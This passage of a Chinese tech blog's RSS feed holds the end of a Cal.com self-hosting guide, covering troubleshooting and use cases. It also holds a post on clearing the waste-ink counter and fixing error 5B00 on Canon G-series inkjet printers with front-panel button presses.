352.5px; transform: translate(-50%); vertical-align: bottom;&quot;&gt;&lt;img loading=&quot;lazy&quot; class=&quot;ikqb_img&quot; src=&quot;https://iknow-pic.cdn.bcebos.com/377adab44aed2e73f62832a09501a18b86d6fa7d?x-bce-process=image%2Fresize%2Cm_lfit%2Cw_600%2Ch_800%2Climit_1%2Fquality%2Cq_85%2Fformat%2Cf_auto&quot; esrc=&quot;https://iknow-pic.cdn.bcebos.com/377adab44aed2e73f62832a09501a18b86d6fa7d&quot; style=&quot;border: 0px; max-height: 340px; max-width: 500px; border-radius: 6px; vertical-align: bottom; display: block; cursor: auto;&quot;/&gt;&lt;/a&gt;&lt;/p&gt;&lt;ol style=&quot;list-style-type: none;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;设置开放时间&lt;/strong&gt;：&lt;/p&gt;&lt;p style=&quot;margin-top: 17px; margin-bottom: 0px; padding: 0px; line-height: 28px;&quot;&gt;支持按工作日/节假日灵活调整可用时段，适配不同场景需求。&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p style=&quot;margin-top: 17px; margin-bottom: 17px; padding: 0px; line-height: 28px; color: rgb(51, 51, 51); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, arial, 宋体, sans-serif, tahoma; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a href=&quot;https://iknow-pic.cdn.bcebos.com/267f9e2f0708283899cc6898aa99a9014d08f17d&quot; target=&quot;_blank&quot; title=&quot;点击查看大图&quot; class=&quot;ikqb_img_alink&quot; rel=&quot;nofollow noopener&quot; style=&quot;color: rgb(63, 136, 191); display: inline-block; position: relative; margin-left: 352.5px; transform: translate(-50%); vertical-align: bottom;&quot;&gt;&lt;img loading=&quot;lazy&quot; class=&quot;ikqb_img&quot; src=&quot;https://iknow-pic.cdn.bcebos.com/267f9e2f0708283899cc6898aa99a9014d08f17d?x-bce-process=image%2Fresize%2Cm_lfit%2Cw_600%2Ch_800%2Climit_1%2Fquality%2Cq_85%2Fformat%2Cf_auto&quot; esrc=&quot;https://iknow-pic.cdn.bcebos.com/267f9e2f0708283899cc6898aa99a9014d08f17d&quot; style=&quot;border: 0px; max-height: 340px; max-width: 500px; border-radius: 6px; vertical-align: bottom; display: block; cursor: auto;&quot;/&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #333333; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, arial, 宋体, sans-serif, tahoma; font-size: 16px; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;常见问题解决&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: none;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;卡在启动界面&lt;/strong&gt;：检查NEXTAUTH_SECRET是否用OpenSSL生成。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;邮件发送失败&lt;/strong&gt;：确认端口465开放，或更换为企业邮箱服务。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;API报错404&lt;/strong&gt;：检查反向代理配置中/api/v2路径是否正确。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style=&quot;color: #333333; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, arial, 宋体, sans-serif, tahoma; font-size: 16px; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;适用场景与人群&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: none;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;自由职业者&lt;/strong&gt;：管理客户预约，提升接单效率。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;教育机构&lt;/strong&gt;：课程预约与排课系统。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;医疗行业&lt;/strong&gt;：问诊时间安排与排班管理。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;极客玩家&lt;/strong&gt;：探索开源工具的定制化玩法。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style=&quot;color: #333333; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, arial, 宋体, sans-serif, tahoma; font-size: 16px; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;扩展建议&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: none;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;内网穿透&lt;/strong&gt;：搭配Cloudflare Tunnel免备案访问。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Docker资源库&lt;/strong&gt;：推荐关注&lt;a href=&quot;https://github.com/TWO-ICE/Awesome-NAS-Docker&quot; title=&quot;Awesome-NAS-Docker&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot; style=&quot;color: rgb(63, 136, 191);&quot;&gt;Awesome-NAS-Docker&lt;/a&gt;，获取更多分类整理的Docker应用。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style=&quot;margin-top: 17px; margin-bottom: 0px; padding: 0px; line-height: 28px; color: rgb(51, 51, 51); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, arial, 宋体, sans-serif, tahoma; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;Cal.com以零成本+数据自主的优势，成为中小团队日程管理的理想方案。按教程操作即可快速上手，遇到问题可参考避坑指南或社区支持。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Tue, 12 May 2026 16:07:17 +0800</pubDate></item><item><title>佳能喷墨打印机报错5B00，无需送维修站也能自己修！</title><link>https://www.kinber.cn/post/6541.html</link><description>&lt;p data-pid=&quot;Udy4P4C_&quot; style=&quot;margin-top: 1.4em; margin-bottom: 1.4em; color: rgb(25, 27, 31); font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, &amp;quot;MiSans L3&amp;quot;, &amp;quot;Segoe UI&amp;quot;, sans-serif; font-size: medium; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;我们在使用佳能喷墨打印机&lt;svg width=&quot;10px&quot; height=&quot;10px&quot; viewbox=&quot;0 0 16 16&quot; class=&quot;ZDI ZDI--FourPointedStar16 css-1dvsrp&quot; fill=&quot;currentColor&quot;&gt;&lt;path d=&quot;m5.068 9.267-3.08-.77a.512.512 0 0 1 0-.994l3.08-.77a2.289 2.289 0 0 0 1.665-1.665l.77-3.08a.512.512 0 0 1 .994 0l.77 3.08c.205.82.845 1.46 1.665 1.665l3.08.77a.512.512 0 0 1 0 .994l-3.08.77a2.29 2.29 0 0 0-1.665 1.665l-.77 3.08a.512.512 0 0 1-.994 0l-.77-3.08a2.289 2.289 0 0 0-1.665-1.665Z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;时候，当使用一段时间后，打印机就会出现这类故障“5B00”或“墨水收集器已满”怎么办？&lt;/p&gt;&lt;p&gt;&lt;figure data-size=&quot;normal&quot; style=&quot;margin: 1.4em 0px; color: rgb(25, 27, 31); font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, &amp;quot;MiSans L3&amp;quot;, &amp;quot;Segoe UI&amp;quot;, sans-serif; font-size: medium; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;div class=&quot;RichText-ConditionalImagePortal&quot; style=&quot;overflow: hidden; max-height: 5000px;&quot;&gt;&lt;img src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260511231844177851272499313.jpg&quot; data-caption=&quot;&quot; data-size=&quot;normal&quot; data-rawwidth=&quot;1600&quot; data-rawheight=&quot;409&quot; data-qrcode-action=&quot;none&quot; data-original-token=&quot;v2-71d1ffdaf2c0d747455e63d6ab74bdff&quot; class=&quot;origin_image zh-lightbox-thumb&quot; width=&quot;1600&quot; data-original=&quot;https://pic4.zhimg.com/v2-be7d87227018aea72396bd01a55da529_r.jpg&quot; style=&quot;display: block; margin: 0px auto; height: auto; cursor: zoom-in; width: 654px;&quot;/&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/p&gt;&lt;p data-pid=&quot;G39CXcZ1&quot; style=&quot;margin-top: 1.4em; margin-bottom: 1.4em; color: rgb(25, 27, 31); font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, &amp;quot;MiSans L3&amp;quot;, &amp;quot;Segoe UI&amp;quot;, sans-serif; font-size: medium; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;其实这类故障就是喷墨打印机寿命配件“废墨垫&lt;svg width=&quot;10px&quot; height=&quot;10px&quot; viewbox=&quot;0 0 16 16&quot; class=&quot;ZDI ZDI--FourPointedStar16 css-1dvsrp&quot; fill=&quot;currentColor&quot;&gt;&lt;path d=&quot;m5.068 9.267-3.08-.77a.512.512 0 0 1 0-.994l3.08-.77a2.289 2.289 0 0 0 1.665-1.665l.77-3.08a.512.512 0 0 1 .994 0l.77 3.08c.205.82.845 1.46 1.665 1.665l3.08.77a.512.512 0 0 1 0 .994l-3.08.77a2.29 2.29 0 0 0-1.665 1.665l-.77 3.08a.512.512 0 0 1-.994 0l-.77-3.08a2.289 2.289 0 0 0-1.665-1.665Z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;”计数器已经到达上限，打印机需要“清零”计数+更换“废墨收集器&lt;svg width=&quot;10px&quot; height=&quot;10px&quot; viewbox=&quot;0 0 16 16&quot; class=&quot;ZDI ZDI--FourPointedStar16 css-1dvsrp&quot; fill=&quot;currentColor&quot;&gt;&lt;path d=&quot;m5.068 9.267-3.08-.77a.512.512 0 0 1 0-.994l3.08-.77a2.289 2.289 0 0 0 1.665-1.665l.77-3.08a.512.512 0 0 1 .994 0l.77 3.08c.205.82.845 1.46 1.665 1.665l3.08.77a.512.512 0 0 1 0 .994l-3.08.77a2.29 2.29 0 0 0-1.665 1.665l-.77 3.08a.512.512 0 0 1-.994 0l-.77-3.08a2.289 2.289 0 0 0-1.665-1.665Z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;”才可以继续正常使用！&lt;/p&gt;&lt;p data-pid=&quot;BpugDWVK&quot; style=&quot;margin-top: 1.4em; margin-bottom: 1.4em; color: rgb(25, 27, 31); font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, &amp;quot;MiSans L3&amp;quot;, &amp;quot;Segoe UI&amp;quot;, sans-serif; font-size: medium; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;对于打印机维修员或品牌售后客服，碰到这类问题都会让用户送机到维修站“处理”，收费还不便宜大约会是一百块大洋左右！&lt;/p&gt;&lt;p&gt;&lt;figure data-size=&quot;normal&quot; style=&quot;margin: 1.4em 0px; color: rgb(25, 27, 31); font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, &amp;quot;MiSans L3&amp;quot;, &amp;quot;Segoe UI&amp;quot;, sans-serif; font-size: medium; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;div class=&quot;RichText-ConditionalImagePortal&quot; style=&quot;overflow: hidden; max-height: 5000px;&quot;&gt;&lt;img src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260511231846177851272646168.jpg&quot; data-caption=&quot;&quot; data-size=&quot;small&quot; data-rawwidth=&quot;248&quot; data-rawheight=&quot;191&quot; data-original-token=&quot;v2-a803ef51f9469ad7cc3282239d353b1d&quot; class=&quot;content_image&quot; width=&quot;248&quot; style=&quot;display: block; margin: 0px auto; height: auto; width: 320px;&quot;/&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/p&gt;&lt;p data-pid=&quot;LAOIZjfv&quot; style=&quot;margin-top: 1.4em; margin-bottom: 1.4em; color: rgb(25, 27, 31); font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, &amp;quot;MiSans L3&amp;quot;, &amp;quot;Segoe UI&amp;quot;, sans-serif; font-size: medium; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;钱袋子有少了些有木有，这里告诉大家一个操作法，无需送打印机维修站也能自己处理！内容很硬如果对你有用，拿走+点赞+收藏=好人一生平安!!&lt;/p&gt;&lt;p data-pid=&quot;ePphWwGw&quot; style=&quot;margin-top: 1.4em; margin-bottom: 1.4em; color: rgb(25, 27, 31); font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, &amp;quot;MiSans L3&amp;quot;, &amp;quot;Segoe UI&amp;quot;, sans-serif; font-size: medium; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;这里举例“佳能G系列2800墨仓式喷墨打印&lt;svg width=&quot;10px&quot; height=&quot;10px&quot; viewbox=&quot;0 0 16 16&quot; class=&quot;ZDI ZDI--FourPointedStar16 css-1dvsrp&quot; fill=&quot;currentColor&quot;&gt;&lt;path d=&quot;m5.068 9.267-3.08-.77a.512.512 0 0 1 0-.994l3.08-.77a2.289 2.289 0 0 0 1.665-1.665l.77-3.08a.512.512 0 0 1 .994 0l.77 3.08c.205.82.845 1.46 1.665 1.665l3.08.77a.512.512 0 0 1 0 .994l-3.08.77a2.29 2.29 0 0 0-1.665 1.665l-.77 3.08a.512.512 0 0 1-.994 0l-.77-3.08a2.289 2.289 0 0 0-1.665-1.665Z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;”手动清零方法，此方法可适用同类型G系列哦！&lt;/p&gt;&lt;p&gt;&lt;figure data-size=&quot;normal&quot; style=&quot;margin: 1.4em 0px; color: rgb(25, 27, 31); font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, &amp;quot;MiSans L3&amp;quot;, &amp;quot;Segoe UI&amp;quot;, sans-serif; font-size: medium; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;div class=&quot;RichText-ConditionalImagePortal&quot; style=&quot;overflow: hidden; max-height: 5000px;&quot;&gt;&lt;img src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260511231847177851272770643.jpg&quot; data-caption=&quot;&quot; data-size=&quot;small&quot; data-rawwidth=&quot;309&quot; data-rawheight=&quot;227&quot; data-original-token=&quot;v2-55284b046538b13cd0929399437769e2&quot; class=&quot;content_image&quot; width=&quot;309&quot; style=&quot;display: block; margin: 0px auto; height: auto; width: 320px;&quot;/&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/p&gt;&lt;p data-pid=&quot;09rJ7kld&quot; style=&quot;margin-top: 1.4em; margin-bottom: 1.4em; color: rgb(25, 27, 31); font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, &amp;quot;MiSans L3&amp;quot;, &amp;quot;Segoe UI&amp;quot;, sans-serif; font-size: medium; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;font-weight: 600;&quot;&gt;操作步骤：&lt;/span&gt;&lt;/p&gt;&lt;p data-pid=&quot;jJRFHqLx&quot; style=&quot;margin-top: 1.4em; margin-bottom: 1.4em; color: rgb(25, 27, 31); font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, &amp;quot;MiSans L3&amp;quot;, &amp;quot;Segoe UI&amp;quot;, sans-serif; font-size: medium; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;步骤一：打印机关机状态下并且连接电源&lt;span style=&quot;font-weight: 600;&quot;&gt;“按住停止按键+开机键”等待打印机电源“&lt;/span&gt;指示灯&lt;span style=&quot;font-weight: 600;&quot;&gt;”绿灯亮起”&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;figure data-size=&quot;normal&quot; style=&quot;margin: 1.4em 0px; color: rgb(25, 27, 31); font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, &amp;quot;MiSans L3&amp;quot;, &amp;quot;Segoe UI&amp;quot;, sans-serif; font-size: medium; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;div class=&quot;RichText-ConditionalImagePortal&quot; style=&quot;overflow: hidden; max-height: 5000px;&quot;&gt;&lt;img src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260511231848177851272875470.png&quot; data-caption=&quot;&quot; data-size=&quot;small&quot; data-rawwidth=&quot;188&quot; data-rawheight=&quot;184&quot; data-original-token=&quot;v2-90da40bfd2ceb53eef9f8a460ea00484&quot; class=&quot;content_image&quot; width=&quot;188&quot; style=&quot;display: block; margin: 0px auto; height: auto; width: 320px;&quot;/&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/p&gt;&lt;p data-pid=&quot;KuzrWW2T&quot; style=&quot;margin-top: 1.4em; margin-bottom: 1.4em; color: rgb(25, 27, 31); font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, &amp;quot;MiSans L3&amp;quot;, &amp;quot;Segoe UI&amp;quot;, sans-serif; font-size: medium; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;步骤二：等待“&lt;span style=&quot;font-weight: 600;&quot;&gt;开机键&lt;/span&gt;”指示灯停止闪烁，即可操作连续操作按5次“&lt;span style=&quot;font-weight: 600;&quot;&gt;停止&lt;/span&gt;”功能键，这时故障提示灯停在“&lt;span style=&quot;font-weight: 600;&quot;&gt;故障指示灯处&lt;/span&gt;”&lt;/p&gt;&lt;p&gt;&lt;figure data-size=&quot;normal&quot; style=&quot;margin: 1.4em 0px; color: rgb(25, 27, 31); font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, &amp;quot;MiSans L3&amp;quot;, &amp;quot;Segoe UI&amp;quot;, sans-serif; font-size: medium; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;div class=&quot;RichText-ConditionalImagePortal&quot; style=&quot;overflow: hidden; max-height: 5000px;&quot;&gt;&lt;img src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260511231850177851273035149.jpg&quot; data-caption=&quot;&quot; data-size=&quot;small&quot; data-rawwidth=&quot;205&quot; data-rawheight=&quot;322&quot; data-original-token=&quot;v2-b0662fdb6e939deaae1605c09e620270&quot; class=&quot;content_image&quot; width=&quot;205&quot; style=&quot;display: block; margin: 0px auto; height: auto; width: 320px;&quot;/&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/p&gt;&lt;p data-pid=&quot;6KbSqjhZ&quot; style=&quot;margin-top: 1.4em; margin-bottom: 1.4em; color: rgb(25, 27, 31); font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, &amp;quot;MiSans L3&amp;quot;, &amp;quot;Segoe UI&amp;quot;, sans-serif; font-size: medium; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;步骤三：再按“&lt;span style=&quot;font-weight: 600;&quot;&gt;停止&lt;/span&gt;”功能键五次，再按一次“&lt;span style=&quot;font-weight: 600;&quot;&gt;开机键&lt;/span&gt;”，等待打印机自己操作大约10-20秒。会自动打印一张信息报告，末端会有一小行数字。&lt;/p&gt;&lt;p&gt;&lt;figure data-size=&quot;normal&quot; style=&quot;margin: 1.4em 0px; color: rgb(25, 27, 31); font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, &amp;quot;MiSans L3&amp;quot;, &amp;quot;Segoe UI&amp;quot;, sans-serif; font-size: medium; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;div class=&quot;RichText-ConditionalImagePortal&quot; style=&quot;overflow: hidden; max-height: 5000px;&quot;&gt;&lt;img src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260511231852177851273293767.jpg&quot; data-caption=&quot;&quot; data-size=&quot;normal&quot; data-rawwidth=&quot;463&quot; data-rawheight=&quot;344&quot; data-original-token=&quot;v2-5dd9654392b916bef8284f3d7bcf4cf5&quot; class=&quot;origin_image zh-lightbox-thumb&quot; width=&quot;463&quot; data-original=&quot;https://pic2.zhimg.com/v2-a9c6b567f98eb2f8c88e94045e2368fb_r.jpg&quot; style=&quot;display: block; margin: 0px auto; height: auto; cursor: zoom-in; width: 654px;&quot;/&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/p&gt;&lt;p data-pid=&quot;9uvcGZHp&quot; style=&quot;margin-top: 1.4em; margin-bottom: 1.4em; color: rgb(25, 27, 31); font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, &amp;quot;MiSans L3&amp;quot;, &amp;quot;Segoe UI&amp;quot;, sans-serif; font-size: medium; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;步骤四：继续操作按“&lt;span style=&quot;font-weight: 600;&quot;&gt;停止键&lt;/span&gt;”3次 加 “&lt;span style=&quot;font-weight: 600;&quot;&gt;1次开机键&lt;/span&gt;”等待打印机会自己操作，继续打印一张系统报告出来。&lt;/p&gt;&lt;p data-pid=&quot;Ris4UtpH&quot; style=&quot;margin-top: 1.4em; margin-bottom: 1.4em; color: rgb(25, 27, 31); font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, &amp;quot;MiSans L3&amp;quot;, &amp;quot;Segoe UI&amp;quot;, sans-serif; font-size: medium; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;教程看到这里~说明你已经操作成功了，整个清零步骤已经完成~只需要重新开关打印机即可！&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Mon, 11 May 2026 23:18:11 +0800</pubDate></item></channel></rss>